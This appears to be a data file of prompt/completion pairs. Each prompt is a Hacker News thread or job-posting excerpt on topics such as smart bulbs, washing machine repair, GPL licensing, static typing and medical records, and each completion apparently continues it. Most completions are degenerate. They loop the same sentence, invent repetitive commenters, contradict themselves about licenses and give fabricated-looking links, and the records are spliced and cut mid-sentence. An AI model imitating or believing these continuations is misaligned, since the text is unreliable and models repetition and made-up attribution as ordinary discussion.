Why would you scream\nbloody murder when one day your IRC client stops being compatible with it?\nThey never advertised this to begin with!\n\nYou can't exactly demand functionality that you were never sold.\n\n~~~\nHelloNurse\nNot bothering to test and actively support devices from other vendors would be\nreasonable, but customers have the expectation that a product does a decent\neffort to respect the standard; whitelisting a subset of Philips lightbulbs\nand deliberately refusing to work with anything else means giving users a bad\nproduct for the sake of anticompetitive business practices. This kind of\ndeliberate, obviously harmful abuse is worse than merely reckless behaviour\nlike the Superfish scandal or the Windows 10 update that uninstalls user\nsoftware.\n\n~~~\nrevelation\nExcept I don't think Philips advertised that they are using an open standard.\nIt's just what they used for the implementation.\n\nThey are free to mutilate that standard as they see fit for their own product,\nand since they didn't make it into a selling point, there is no reason for\nthem to expect compatibility.\n\n~~~\nHelloNurse\nIn the world of customers who prefer trustworthy vendors, there's a\nsubstantial difference between not wanting to spend money to respect a\nstandard any more than advertised, and deliberately spending money (firmware\n"} +{"output_text": " machine, but I have\nalways been able to do so because I have a good understanding of the\nmechanics of the machine, and I have a good understanding of how to repair\nthem.\n\nI have never been able to repair a Staber. I have never been able to repair a\nStaber because I have never owned one.\n\nI have never been able to repair a Staber because I have never owned one.\n\nI have never been able to repair", "input_text": " just a suspicion, it\nwould make sense: I do know that the (monolithic) spare parts are stocked for\na particular model for less time, which means that the prices of the spares\nwhich are available are very high.\n\nWater efficiency regulations also appear to have forced modern washing\nmachines to use inadequate water for rinsing. There are numerous stories of\nhypoallergenic people who find that their new washing machine leaves\nsignificant detergent in clothing. Some people have even tracked down old (and\nfor that matter better made) washing machines just to get one which will rinse\nproperly. At other times the actual temperature of the water on the '60\ndegree' setting has been tested and found to be rather on the low side.\n(Supposedly all of this efficiency regulation, rather pathetically, only tests\nthe 60 degree programme in the first place, putting a certain degree of\ncompetitive pressure on energy efficiency for this setting.) This is\nparticularly insane given that the environmental cost of these quasi-\ndisposable 2-year-warranty washing machines must be much higher than the\nenvironmental cost of their resource consumption.\n\nI think consumer goods legislation should recognise that different minimum\nwarranty periods are appropriate for different kinds of product. A legally\nrequired minimum warranty period of 6 or 8 years for washing machines, for\nexample, would instantly create pressure on manufacturers to increase the\nlongevity and repairability of their machines.\n\n~~~\nlogfromblammo\nI am only aware of one brand of washing machine that explicitly claims to be\ndesigned to be repairable by the end-user--Staber. I have never actually owned\nor used one before, so I'm not sure how fit for purpose it may be otherwise.\n\nI have successfully repaired other brands of washing"} +{"output_text": " interested in a more in-depth look at the situation in Taiwan,\nI'd recommend reading this article:\n[http://www.theatlantic.com/technology/archive/2011/10/the-\nco...](http://www.theatlantic.com/technology/archive/2011/10/the-cost-of-\nfree-internet-in-taiwan/248038/)\n\n------\njoshu\nI'm in Taiwan.", "input_text": "\nCloudFront _is_ S3-backed CDN.\n\n~~~\ncoderdude\nYou can use S3 as an origin server for CloudFront but it's not serving files\ndirectly from S3. CloudFront has \"edge locations\" that you can push files to\nfrom S3 -- which \"stores the original, definitive versions of your files.\"[1]\n\n[1] \n\n~~~\ndredmorbius\nThanks. Still picking this up myself.\n\n~~~\nenjo\nIt's important to note that Cloudfront also supports custom origins, so it\ndoesn't even have to involve s3 these days.\n\n------\nxiaoma\n> _\"Some big cities like Taipei, Beijing, and Singapore have government\n> sponsored free public wireless more or less all throughout the city\"_\n\nBullshit. I just moved from Beijing. Not only is there no government sponsored\nwireless all throughout the city, but internet cafes must record each\ncustomer's ID info before you can log-on. Even McDonalds' free internet for\ncustomers requires identification (which is troublesome for foreigners or\nanyone without national ID cards).\n\nI was in Singapore less than three months ago, and found no public free wifi\nduring my stay. On the good side, many, many cafes there offer wifi and it's\nnot locked down like in Beijing.\n\nTaiwan, on the other hand is making strides with their new service rolled out\nlast October.\n\n------\nswiecki\nThis could really use a lot of editing. Far too much of it is whining about\nslow internet that doesn't reach a meaningful conclusion, but instead\ngeneralizes from his anecdote.\n\nIf anyone is"} +{"output_text": " have a lot of IPs, but that's\nprobably not going to be effective.\n\n------\njoshu\nI'm not sure what the point of this is.\n\n~~~\nxvolter\nI'm not sure either, but I think it's a good example of how a botnet can be\nused to do things that would otherwise be impossible.\n\n~~~\njoshu\nI think it's a good example of how a botnet can be used", "input_text": " bot is using a old wordpress hack. How can this kind of thing be\nstopped? I dont mean stopping it after it happens, I mean getting the bot\ndown, maybe like DDOS it or something.\n\n~~~\nxvolter\nThe easiest would be to modify your web server to reject requests to that URL.\nTherefore it no longer causes annoyances. However, if that URL is still being\nused, your best shot is to reject on a per-IP basis.\n\nYou cannot DDOS any server, a DDOS attack works primary on web servers, and\nthe server it's coming from isn't likely to have a web server that matters,\nsince it just redirects DDOSing would be nearly impossible to accomplish\nwithout a huge effort.\n\nWhat may be easier is getting the website shutdown, if you trace the host\nprovider or ISP you can file a claim and possibly get their connection or\nhosting turned off.\n\n~~~\nbmelton\nI don't mean to seem critical, but\n\n1) it would be slightly better to DROP requests to the URL than to reject them\nand\n\n2) you can DDOS plenty of other servers besides web servers. You're right of\ncourse that there likely isn't a server attached to the IP address (though you\ncould likely tie up at least the one thread with programmatic recursion /\nredirects), but DDOSing isn't particular to web servers at all.\n\n~~~\nxvolter\nNo, but DDOSing does require an open listener - the most common and easiest is\na web server. If whoever is trying to use some old Wordpress hacks is smart,\nhowever likely that is, he/she would not have a ton of ports open.\n\nYou can also drop requests if per-IP if you"} +{"output_text": "-licensed, not GPL.\n\n~~~\nbashtoni\nI'm not sure what you mean. The license is GPLv2.\n\n~~~\nAsooka\nThe license is BSD-licensed.\n\n------\njosteink\nI'm not sure if I'm missing something, but I don't see how this is a\n\"breakthrough\".\n\nIt's a new language, with a new syntax.\n\nIt's a new compiler, with", "input_text": " can release code and still violate the GPL in other ways. For example,\nthere are binary blobs out there and the GPL is pretty unequivocal on this\npoint: \"The source code for a work means the preferred form of the work for\nmaking modifications to it.\"\n\n~~~\nsimonh\nIt depends whether the binary blob is a derived work or not.\n\n[http://yarchive.net/comp/linux/gpl_modules.html](http://yarchive.net/comp/linux/gpl_modules.html)\n\n------\nbitL\nSeems like Free Software that propelled early Internet pioneers served its\npurpose and those companies are turning their backs on it - first with Apple,\nGCC->LLVM, now with Google, Linux->Fuchsia :( I am getting afraid of another\ndark age on the horizon... I guess it's going to be inevitable as 90% of SW\ndevelopers will find themselves redundant when inferring AI capable of\ncomposing code blocks and listening to/reading speech/specifications arrives\nin upcoming decade, making creation of typical web/mobile apps trivial.\n\n~~~\nbashtoni\nI think Google is probably the most Free Software friendly of the the new big\nthree (Amazon, Google, Microsoft). They haven't disappointed with Fuschia\nwhich appears to be entirely copyleft:\n\n[https://fuchsia.googlesource.com/magenta/+/master/LICENSE](https://fuchsia.googlesource.com/magenta/+/master/LICENSE)\n[https://fuchsia.googlesource.com/fonts/+/master/LICENSE](https://fuchsia.googlesource.com/fonts/+/master/LICENSE)\n\n~~~\nAsooka\nThat's BSD"} +{"output_text": " be working.\n\n------\njoshu\nI think the problem is that people are not being paid for the value they\ncreate.\n\nI think the solution is to pay people for the value they create.\n\n~~~\nstevesimmons\nI agree. I think the problem is that people are not being paid for the value\nthey create.\n\n------\njoshu\nI think the problem is that people are not being paid for the value they\ncreate", "input_text": "work they take. So you have many jobs or situations where people are paid to\nsit and many like in medicine where more people might die if you want to sleep\na healthy amount. The time should fit the job. But the pay should fit the\ntime, and then that's the next problem to sove, and on.\n\n------\nneilv\nThat would work for some kinds of work.\n\nBut I live to work, and often work 7 days.\n\nI can't imagine doing a project with delivery time pressure (like a startup\ntrying to execute in a timely manner), working only 4 days, with a 3-day gap.\n\nI'd rather have flexible hours, and an emphasis on working sharp in the hours\nwe do put in -- not have frequent 3-day interruptions of project mental space,\nand putting off gratification in seeing the project come together.\n\n~~~\nstevesimmons\nMe too. I feel very lucky to have found a company that is a perfect fit for my\nskills and interests, and that is at the right stage that me working hard now\nwill make a big difference.\n\nI can't imagine _not_ working 6-7 days a week.\n\n~~~\nApocryphon\nThat's great for the both of you. But workaholics shouldn't get to dictate the\nnorms for the rest of humanity.\n\n~~~\nneilv\nAgreed, no one should dictate norms.\n\nBut I'd rather have expectations of flexibility (e.g., take day off or a short\nday because didn't sleep well, or family activity, or enjoy the nice weather,\nor just finished a work crunch), than (I imagine) expectations that, on those\n4 days, one had better be there the full day and at least"} +{"output_text": "'t hold up.\n\n~~~\nchmaynard\nI agree with you. I think the author's point is that dynamic typing makes\nPython easier to use than C.\n\n~~~\nwinter_blue\nI think the author's point is that dynamic typing makes Python easier to use\nthan C.\n\nI agree with you.\n\n------\njimktrains2\nI'm not sure I agree with the author's point. I think the main benefit of", "input_text": " C). It's also much simpler to teach programming in than\nalternatives.\n\n------\nchmaynard\nFrom the article: \"Dynamic typing makes Python easier to use than C.\" The\nauthor gives no justification for this claim. Do any language experts care to\ncomment?\n\n~~~\nwinter_blue\nI'm a big fan of strong static type systems. I believe type-safety increases\ncode quality significantly.\n\nI used to think several years ago, that the main benefit of strong static\ntyping was code safety / eliminating a whole class of bugs. But I've changed\nmy opinion. I now think the biggest benefit is that it makes the code _a lot\neasier_ for other people to read and understand.\n\nI mean I have multiple personal projects where I've used Python (which is a\ndynamically typed language), but these are _small one-off_ projects. But I\nthink when working in a team, especially a large team, having types becomes a\nhuge thing. Having types for objects is especially useful. Having types forces\nyou to think more clearly about the structure of your data.\n\nIt's really sad when I see `foo(bar)`, and I have no idea what the type of\n`bar` is, and if it's an object, I have no idea what fields `bar` has. I have\nto simply guess the structure of the various implicit types by looking at the\ncode (sigh). It makes the code difficult to read, and rather unpleasant to\nwork on. Not to mention, all the multitude of bugs that come from duck/dynamic\ntyping.\n\nI don't think good statically typed languages are hard to use at all. Type\ninference has spread everywhere that the old argument of having to repeat your\ntypes doesn"} +{"output_text": "\nlooking for a Machine Learning Data Scientist and Software Engineer to join\nour team.\n\nThe Machine Learning Data Scientist will be responsible for developing and\nimplementing machine learning algorithms for clinical data analysis. The\nMachine Learning Data Scientist will work closely with the Machine Learning\nSoftware Engineer to develop and implement machine learning algorithms for\nclinical data analysis.\n\nThe Machine Learning Software Engineer will be responsible for developing and\nimplementing machine learning algorithms for clinical data analysis. The", "input_text": " efforts.\n\nWe also are doing some things with WiFi in the Offline to Online space, and\nwill be launching a new product offering this year targeted at a much larger\nmarket. We are looking for engineers with the following development\nbackgrounds:\n\n* Linux Kernal\n\n* Device Driver\n\n* Embedded Systems\n\n* Low Level C, C++\n\nPlease email kumar@qlicket.com if interested.\n\n------\nmanicminer\nRoom Key | Clojure Developer | Charlottesville, VA | Full-time, onsite |\nwww.roomkey.com | 2 openings\n\nRoom Key is looking for a software engineer with strong server-side web\ndevelopment experience in a functional language - preferably Clojure - to join\nour back-end web development team.\n\nRoom Key was founded by six of the world's largest hotel companies to lower\nthe cost of hotel distribution for our founders and commercial partners.\n\nWe are located downtown in beautiful Charlottesville VA, the home of the\nUniversity of Virginia and a growing and active tech community. It's a great\nplace to live and work. We are looking for on-site team members and we are\nwilling to help with re-location costs.\n\nRead more:\n[https://www.roomkey.com/careers.html](https://www.roomkey.com/careers.html)\n\n------\nguitarjosh\nMass General Hospital - Center for Clinical Data Science | Machine Learning\nData Scientist and Software Engineer | Boston, MA| ONSITE | Full Time |\n[https://www.mgh-ccds.com/](https://www.mgh-ccds.com/)\n\nThe Center for Clinical Data Science at Massachusetts General Hospital is"} +{"output_text": "\nI'm not sure I buy the whole \"the amp was overdriven\" explanation. I think\nit's more likely that the amp was just being pushed to its limits.\n\n~~~\njoshu\nI think it's more likely that the amp was being pushed to its limits.\n\n------\njoshu\nI'm not sure I buy the whole \"the amp was overdriven\" explanation. I think\nit's more likely that the amp was just being pushed to", "input_text": " for playing styles, effects, and\nexpression. Either way this was a great read, and I love to nerd out to audio,\nproduction and recording.\n\n------\npfraze\n> Snoddy explains what happened by invoking tech-talk about tube amplifiers\n> and insufficient wiring. But whatever happened inside that console...\n\nHe came at me with the mumbo jumbo!\n\nHere's the song, for anybody curious:\n[http://www.youtube.com/watch?v=WCbIAmy6X0M](http://www.youtube.com/watch?v=WCbIAmy6X0M)\n\n~~~\nunclesaamm\nbetter quality:\n[http://grooveshark.com/s/Don+t+Worry/450UFD?src=5](http://grooveshark.com/s/Don+t+Worry/450UFD?src=5)\n\n------\ntmuir\nThe \"discovery\" of distortion is an example of the idea that inventors are\nsometimes the first person to tell someone else about something, instead of\nthe first person to discover the thing.\n\nThe electric guitar was invented in 1931. It then follows that guitars were\nbeing electrically amplified in 1931. Are we really to believe that it took\n20-30 years for someone to turn up the gain higher than what would allow it to\naccurately amplify the input signal?\n\n~~~\nsehugg\nTube amps distort in a very gradual way when overdriven. The \"fuzz\" sound is a\nmore severe form of clipping. This is why transistor-based stomp boxes were\nsought out; it's actually hard to get a tube amp to clip in this exact way.\n\n------\nkevincennis"} +{"output_text": " and entrepreneurs in their journey to\nbuild and grow their business. We help them with everything from product\ndevelopment to marketing, sales, and growth.\n\nWe're looking for a Software Engineer to join our team in London. You'll be\nworking on our web application, which is used by our customers to manage their\nbusiness. You'll be working with a small team of developers, designers, and\nproduct managers to build a great product.\n\nWe're also looking for a Junior", "input_text": "8MI4fwq&s=Hacker_News)\n\n------\nKaedon\nChowNow | Los Angeles, CA (Playa Vista) | Full Time | Onsite |\n[https://www.chownow.com/](https://www.chownow.com/)\n\nAt ChowNow, we build online ordering systems for thousands of restaurants and\nmillions of diners. We're launching a few new products soon that I'm excited\nabout. I love working here as an engineer. It's a great balance of challenge,\nfreedom, and impact.\n\nWe've been growing quickly and we're looking to hire an Operations (DevOps)\nengineer! As background, we had a manually configured AWS infrastructure that\nwe've retired in favor of an Ansible / Terraform-based setup. We've automated\ninfrastructure and our deploy process so it's a great time to come in and\nshape where we go from here.\n\nWe also have positions open for a Principal Front-End Engineer (Ember.js /\nNode) and a Data Analyst on our careers page at\n[https://jobs.lever.co/chownow?lever-via=MO5-ac-\nqvc](https://jobs.lever.co/chownow?lever-via=MO5-ac-qvc).\n\nIf you're interested or have questions what it's like to work here, please\ncontact me at kevinlondon@chownow.com or our recruiter, Candice, at\ncandice@chownow.com.\n\n------\njennybrennan\nEntrepreneur First | London | Software Engineer and Junior Software Engineer |\nFull-time | ONSITE\n\nEntrepreneur First supports engineers"} +{"output_text": "jason_slack\nSlack | San Francisco, CA | Full-time | ONSITE\n\nSlack is hiring! We are looking for a few engineers to join our team.\n\nWe are looking for:\n\n* Senior Backend Engineer\n\n* Senior Frontend Engineer\n\n* Senior Full Stack Engineer\n\n* Senior Mobile Engineer\n\n* Senior Product Manager\n\n* Senior Product Designer\n\n* Senior Product Manager\n\n* Senior Product Designer", "input_text": " Application here:\n[https://jobs.jobvite.com/zestfinance/apply](https://jobs.jobvite.com/zestfinance/apply)\n\nFor other openings visit:\n[https://www.zestfinance.com/careers.html](https://www.zestfinance.com/careers.html)\n\n------\nhoelle\nSoulbound Studios - Lead Engine Programmer - Bellevue WA - Full Time - Onsite\n\nSoulbound Studios is seeking a full-time engineer to join the dedicated team\nworking on Chronicles of Elyria. Experience in games, C++, Unreal, and engine\ndevelopment is helpful.\n\nChronicles of Elyria is the first MMORPG where your character ages and dies,\nencouraging you to think beyond your character to their role in a larger\nstory. It embraces a character's ability to impact other characters. A closed\neconomy, finite resources, non-repeatable quests, and a fully destructible\nenvironment means the world is experienced differently for every character.\nEach time you log in there is something for you to participate in. Local,\nregional, and national conflicts are continuously unfolding, giving birth to\nrepeated opportunities for you to change the course of history.\n\nRead more about the game here:\n[https://chroniclesofelyria.com/](https://chroniclesofelyria.com/)\n\nMore about the job opening here:\n[http://soulboundstudios.com/jobs/Lead_Client_Programmer.aspx](http://soulboundstudios.com/jobs/Lead_Client_Programmer.aspx)\n\nEmail: steve@soulboundstudios.com\n\n------\n"} +{"output_text": "\nagencies?\n\n~~~\nanigbrowl\nI'm not sure what you mean by 'private'. The secret police in the former\nSoviet Union were state-run, but they were also very much a part of the\ngovernment.\n\n~~~\nanamax\n> I'm not sure what you mean by 'private'.\n\nI'm not sure what you mean by \"private\".\n\nI'm not sure what you mean by \"state-run\".\n", "input_text": "2 to make quick inroads into the space\nthough.\n\n \nGermany: Facebook must destroy its facial recognition database - smartician\nhttp://arstechnica.com/tech-policy/2012/08/germany-facebook-must-destroy-facial-recognition-database/\n======\ndaveman\nIt's fascinating to watch how tech companies react to restrictive EU privacy\nlaws. Many of the EU requirements (e.g. 'right to be forgotten', mandatory\nopt-in for cookies) could become a real hindrance for companies that want to\nbuild intelligent services and minimized user experiences.\n\nCall me crazy, but it seems like when you get to use a free service or website\nthat costs many millions of dollars to develop, giving the company access to\nyour data is a fairly small price to pay.\n\nI'm waiting for one of these legal actions to cause a company like Facebook to\njust shut down their service in the local area, and leave a landing page with\nthe email addresses of all the politicians who provoked the outage.\n\n~~~\nanigbrowl\n_I'm waiting for one of these legal actions to cause a company like Facebook\nto just shut down their service in the local area, and leave a landing page\nwith the email addresses of all the politicians who provoked the outage._\n\nPeople in the EU (and Germany in particular) don't care for massive privately\nheld databases that can be used to target individuals. They have had enough\nbad experiences with secret police forces, and that's why there are strict\nlimits on data gathering and retention.\n\n~~~\nanamax\n> People in the EU (and Germany in particular)... have had enough bad\n> experiences with secret police forces,\n\nHow many of these secret police forces were private? How many were govt"} +{"output_text": " of what they're trying to avoid.\n\n~~~\nadevine\nI'm not sure what you're trying to say. I'm not sure what you're trying to\nsay.\n\n~~~\nSCdF\nI'm saying that the article is a bit of a mess.\n\n------\njlgaddis\nI'm not sure what the author is trying to say.\n\n------\njoshstrange\nI'm not sure what the author is trying to say", "input_text": "business type emails and documents? Not\nreally, because I don't have any sensitive documents that I don't care for\nGoogle to have access to. Maybe if I were a journalist starting a secretive\nblog and needing to communicate between journalists over sensitive information\n- yeah, I could see that.\n\nI think those are the kinds of people you're going to want to market to.\nReasonably priced for sensitive documents and files, but more than\nconventional app solutions who don't really need the extra decentralized\nsecurity.\n\n~~~\njlgaddis\nI think I must be misunderstanding.\n\nYou talk about \"decentralizing\" but you mention Google Apps for e-mail and\nMedium for a blog. If you want to decentralize, you should be running these\nthings on your own server(s) that you control.\n\nWhat am I missing?\n\n~~~\nnarrowrail\nI think acconrad is just saying:\n\nDecentralized is for sensitive things with a need for \"extra decentralized\nsecurity,\" and that most conventional needs can be met more adequately, and\ncheaply, with the services 'everyone' already uses.\n\nBasically, it's a philosophical difference, but the ideas expressed may give\nproponents of decentralization some insight into why we are currently in\nanother centralizing phase of the internet.\n\n------\nradicalbyte\nBut how else can these sites get access to your contact list and call history?\n\n~~~\nadevine\nRequire Facebook login - close enough.\n\n------\nSCdF\nSee, I agree, but this is what this article looks like on my phone:\n[https://imgur.com/VqchKIp](https://imgur.com/VqchKIp)\n\nPerhaps one should become a good example"} +{"output_text": " of the\nthings I'm looking for is a hacker house. I'm not looking for a place to live\nper se, but a place to hang out. I'm not looking for a place to work, but a\nplace to hang out. I'm not looking for a place to party, but a place to hang\nout. I'm not looking for a place to work, but a place to hang out. I'm not\nlooking for a place to party, but a place", "input_text": " on Dropbox. It made their file-sharing much\neasier.\n\nSo I honestly understand this article, even though for us it's been around for\nso long.\n\n------\nakent\nAny media outlet tempted to use a \"you've never heard of\" headline should\nseriously reconsider. Guaranteed to irritate everyone who HAS heard of it\ninstantly.\n\n~~~\nwhatusername\nI heard a radio report in NZ over summer about the kids these days using words\nlike Cool and Wicked in ways that weren't their original meaning.\n\nSomeone deserves a medal for epic trolling. (I don't know what the station was\n-- I was in a hire car and channel surfing and decided to listen to the news\nbroadcast)\n\n------\nkylelibra\nThis is why traditional / mainstream media is fighting a battle to remain\nrelevant.\n\n~~~\nVivtek\nThis they call fighting?\n\n~~~\nTomek_\nCertainly better than their previous attempts:\n[http://www.thedailyshow.com/watch/mon-\nfebruary-28-2011/the-b...](http://www.thedailyshow.com/watch/mon-\nfebruary-28-2011/the-biggest-newser)\n\n------\njpr\nFinally something I can be hipster about.\n\n------\npetervandijck\nEh, \"you've never heard of\"?\n\n~~~\nFlorin_Andrei\nIt's CNN, it's for normal people.\n\n~~~\npetervandijck\nAh normal people. Got it.\n\n \n\nAsk HN: Living as a hacker in the bay area. - dvcat\n\nI will be moving to the bay area once I graduate in a few months. One"} +{"output_text": "90 days.\n\n[http://www.nytimes.com/2013/01/27/business/the-\ninterview-a-...](http://www.nytimes.com/2013/01/27/business/the-interview-a-\nstudy-in-the-art-of-interviewing.html)\n\n[http://www.nytimes.com/2013/01/27/business/the-\ninter", "input_text": " now I realise he was willfully deluded.\nSo don't forget to watch out for this and verify what their practices are with\nquestions.\n\n------\nares2012\nThis is common in your first job, so don't feel bad for missing the signs!\nUntil you have been in the professional world it's hard to know what\nenvironments are right for you.\n\nThe good news is that now you'll know what to look for when you interview at\nnew companies. Some things I look for: 1\\. A well organized and well run\nrecruiting process. If they can't communicate, schedule and work with you\nduring recruiting it's unlikely they can do so when you work there. 2\\. Great\nemployee retention. People don't stick around for a long while at companies\nthey hate. Look for places where people stay for the long haul (at least 3\nyears). 3\\. Personal connections. Talk to the people you know in the industry\nand learn about where they work. At this point I would have a hard time\njoining a company where I didn't know anyone since there is so much risk\ninvolved.\n\nGood luck with your next adventure! It only gets better.\n\n------\nisuckatcoding\nHello all. I want to thank you all for you amazing responses. Based on your\nfeedback, I have an excellent set of possible actions/questions I can take to\navoid my current situation. I know there is no fail-safe method but at least I\nhave some guidance now.\n\nAlso just realized my question has a typo. :facepalm: Looks like\nisuckatgrammar too.\n\n------\nevanwolf\nOn the employers' side, a few studies showed very low correlation between\ninterviewer scores of candidates and employee performance ratings after\n60-"} +{"output_text": "/h) in towns and cities. The Act was repealed in\n1878.\"\n\n------\njrockway\nI think the problem is that the car is a tool. It's a tool that you use to\nget from point A to point B. It's a tool that you use to get from point B to\npoint C. It's a tool that you use to get from point C to point D. It's a tool\nthat you use to get from point", "input_text": "% of the population used to work on farms. Now much\nless than 10% work on farms in the western world. Do we have 70% unemployment?\n\n------\nchrismealy\nWe don't need driveless cars, we need carless people:\n\n\n\n~~~\nalnayyir\nThis would make riding my motorcycle much safer, I like it.\n\n~~~\nseanx\nIf driverless cars start reducing the car road toll then motorbikes will start\nto look really dangerous:(.\n\nI suppose we could get self driving motorbikes but that would be missing the\npoint of riding.\n\n~~~\nnazgulnarsil\ngiven that a huge proportion, maybe even the majority, are caused by people in\ncars turning in front of or merging into motorcyclists I doubt it.\n\n------\njoel_ms\n>But it\u2019s clear that in the early part of the 20th century, the original\nadvent of the motor car was not impeded by anything like the current m\u00e9lange\nof regulations, laws and lawsuits.\n\nThey did try in the 19th century though, at least in the UK, with the\nLocomotive Acts[1]. The way those laws went out of their way to protect the\nstatus quo (i.e. horse-powered transport) is an interesting parallell to\ntoday's possible transition from human-controlled to computer-controlled\ntransport.\n\n[1] \n\n~~~\nmeric\n\"The Locomotive Act 1865 (Red Flag Act):[5] Set speed limits of 4 mph (6 km/h)\nin the country and 2 mph (3 km"} +{"output_text": " a conversation.\n\n------\njoshu\nI'm not sure I understand the point of this.\n\nFacebook is a social network. It's not a search engine.\n\n~~~\njoshu\nI guess I should have been more clear. I don't think Facebook is a search\nengine. I think it's a social network.\n\n------\njoshu\nI'm not sure I understand the point of this.\n\nFacebook is a social network.", "input_text": " at my newrelic monitor, I think\nthe exact same thing: \"This is all going to collapse soon.\"\n\nAfter almost two years of staring at six figure weekly revenue values on the\nanalytics and tracking applications I've built (I obviously am not making this\nmuch), I begin to question my inherent concerns on FB's long game.\n\n~~~\nZenPro\nFrom a quantitative perspective I cannot fault them _right now_ but from a\nqualitative perspective...something is rotten in Denmark.\n\nFacebook is not the platform we need, it's the one we deserve right now ;-)\n\n------\ngcb0\ni sent a link over their newly acquired IM service... and now all my ads are\nfor the company owning that link.\n\nfor one side I'm impressed at their speed in incorporating that new window\ninto my privacy....or maybe the selling price was so high because that was\nalready a feature? anyway, on the other hand, I'm unimpressed by either their\ninventory of ads or ability to classify the content they know i know.\n\nif they showed me things relevant to that link it would be interesting. they\njust flooded me with ads for something i might even own already. its like the\ncheap ad networks on desktop. see one item at amazon, now all sites in the\nworld will show you that item. they just spent billions to race the mobile ads\nto the bottom from the get go.\n\n~~~\nEncosia\nIsn't it more likely that the page you visited to get the link had a Facebook\n\"like\" button on it that tracked your potential interest at that point?\n\n~~~\ngcb0\nnope. typed it on my phone. it was a service i use 2 months ago and a friend\nasked me about it during"} +{"output_text": " SigOpt is used by the world's\nleading companies to solve their most challenging problems.\n\nWe're looking for a full-stack engineer to join our team. You'll be working\nwith our data scientists and engineers to build the next generation of our\nproduct.\n\nOur stack:\n\n* Python 3.6+\n\n* Django\n\n* Postgres\n\n* AWS\n\n* Docker\n\n* React\n\n* GraphQL\n\n* React Native\n", "input_text": "Our mission:\n\n\\- Enable companies to perform the activities necessary to deliver\npersonalized products more effectively.\n\n\\- Allow companies in the supply chain network to collaborate and do business\ntogether more efficiently.\n\n\\- Reveal transformative insights about the operations and network dynamics of\nthe industry.\n\n\\- Drive data-driven decision making and continuous improvement.\n\nAbout Nulogy:\n\nWe are a Canadian success story. Our story started 15 years ago when four\nengineering grads from the University of Waterloo worked on a design project\nthat grew to become the company. We are now a world-leading provider of\nspecialized solutions for complex supply-chain challenges. As a company\nfounded by friends wanting to make a difference, the close relationship\nbetween the founders influence the family-like culture that exists here.\n\nBenefits:\n\n\\- Unlimited paid vacation (take as much time off as you need, with at least 2\nweeks off a year).\n\n\\- 100% top-up for 13 weeks for any parent of biological or adopted children.\n\n\\- Dev culture is infused with learning; emphasis on clean code, strong\ntechnical practices, and collaboration.\n\n\\- Free format hack days roughly once a month.\n\nLearn about the Culture: [http://bit.ly/Nulogy-\nGlassdoor](http://bit.ly/Nulogy-Glassdoor) APPLY AT: [http://bit.ly/Nulogy-\nFullstack](http://bit.ly/Nulogy-Fullstack)\n\n------\nKurtisL\nSigOpt | Software Engineer Full Stack and Backend | San Francisco, CA | Onsite\n| Full-time\n\nSigOpt is the optimization platform that accelerates your modeling. From\nmachine learning to computational fluid dynamics,"} +{"output_text": " my oncologist? My oncologist's EMR system.\n\nI want records from my neurologist? My neurologist's EMR system.\n\nI want records from my psychiatrist? My psychiatrist's EMR system.\n\nI want records from my orthopedist? My orthopedist's EMR system.\n\nI want records from my urologist? My urologist's EMR system.\n\nI want records from my dermatologist? My dermatologist's", "input_text": " your.htaccess file to setup a 301 redirect to/from the www. version of\nyour site.\n\n------\ncoolswan\nnice. if I had to guess, in a couple years, google will attempt to acquire\nblekko to integrate with their webspam team.\n\n------\nRubyred\nWow, the search results are terrible on blekko. I think someone's gone crazy\nwith the ban hammer.\n\nMy suggestion to blekko: look for signals of relevance to determine serps,\ninstead of flagging every other website as spam.\n\n \nWe've Spent Billions to Fix Our Medical Records, and They're Still a Mess - prostoalex\nhttp://www.motherjones.com/politics/2015/10/epic-systems-judith-faulkner-hitech-ehr-interoperability\n======\nMDNukem\nI'm surprised I don't see any comments about the FHIR api here. It's a project\nseeking to standardize a RESTful api for clinical encounter data that's\ngaining a fair bit of traction.\n\nIf the existing EMR companies don't manage to subvert its goals, the problem\nof data interoperability will be largely solved within the next 5-7 years.\n\n~~~\nmindcrime\nThat's the best news I've heard in a while. I was just complaining earlier\ntoday, that I hate the way I have to login to so many different EMR systems to\nlook at my medical records, and there's no interop between them, or (mostly)\nany convenient API to download data.\n\nI want record from my GP? FollowMyHealth.com\n\nI want records from my cardiologist? UNC's EMR system.\n\nI want records from"} +{"output_text": "/r/IAmA/comments/3q8q9e/i_am_a_self_em...](https://www.reddit.com/r/IAmA/comments/3q8q9e/i_am_a_self_employed_contractor_and_i_am_not_a/)\n\n~~~\njedberg\n> You can be an employee with a non-hourly pay structure.\n\nYou can", "input_text": " less of a\n> percentage of earnings per ride to their drivers to compensate for the\n> change of cost?\n\nUber and Lyft would need to pay hourly wages, along with all of the associated\ntaxes due.\n\n> Would Uber and Lyft make more if they had their drivers on a similar model\n> to a pizza delivery driver ($4.50/h + tips)?\n\nUber and Lyft's entire business model is built on the independent contractor\nmodel. I don't believe they could reach profitability in any scenario with\nhuman drivers if they have to pay them as stipulated by IRS regulations.\n\n~~~\nSilasX\n>Uber and Lyft would need to pay hourly wages, along with all of the\nassociated taxes due.\n\nNot true. You can be an employee with a non-hourly pay structure. Just one of\nmany misconceptions batted around about the implications of driver\nreclassification, along with (these aren't all false per se, just not-\nnecessarily-true):\n\n\\- Drivers would have to get the Uber-paid lavish health care plan that\ndevelopers there get.\n\n\\- Driver cash payments would remain the same and not be reduced.\n\n\\- Drivers would get fixed work schedules.\n\n\\- Drivers would value the compensation package that includes employee\nbenefits but has lower cash pay, over the compensation they get now.\n\n\\- Uber would have to provide the vehicles.\n\n\\- The economic incidence of FICA taxes would shift to Uber (not how economic\nincidence works[1]).\n\nAgain, the employee/contractor distinction depends on a number of factors; you\ncan be classified as an employee without meeting all of criteria.\n\n[1] Good explanation:\n[https://www.reddit.com"} +{"output_text": " in their own way, is a failure.\n\n------\njrockway\nI don't think the problem is that people don't know how to use the web. The\nproblem is that the web is a terrible place to do anything.\n\nI don't know how to use the web. I don't know how to use a computer. I don't\nknow how to use a phone. I don't know how to use a car. I don't know how to\n", "input_text": " the most average pile of junk anyone has ever seen.\nBut people understand it, sure they moan, but they get it. Go for the lowest\ncommon denominator.\n\nThe times uses the motif of a news paper online, I guess because it's\ncontextually people understand. I don't know if by design or accident, but\nthere is a level if usability there because of the fact.\n\nIts messy but its reliable, and sometimes thats what design is about, not a\ngreat looking product, but something that does its job.\n\n~~~\ndredmorbius\nThe lifesaver for me has been the \"Remove This Permanently\" Firefox plugin\n(well, that an the Flashblock plugin).\n\nIf something's sufficiently annoying, I just find its xpath and remove it.\n\nDoes this put me in the top fractional 1% of browsers? I have no doubt. Does\nthis work for me? Yes. Does the 1% bit bother me? Not in the least.\n\nIf anything, 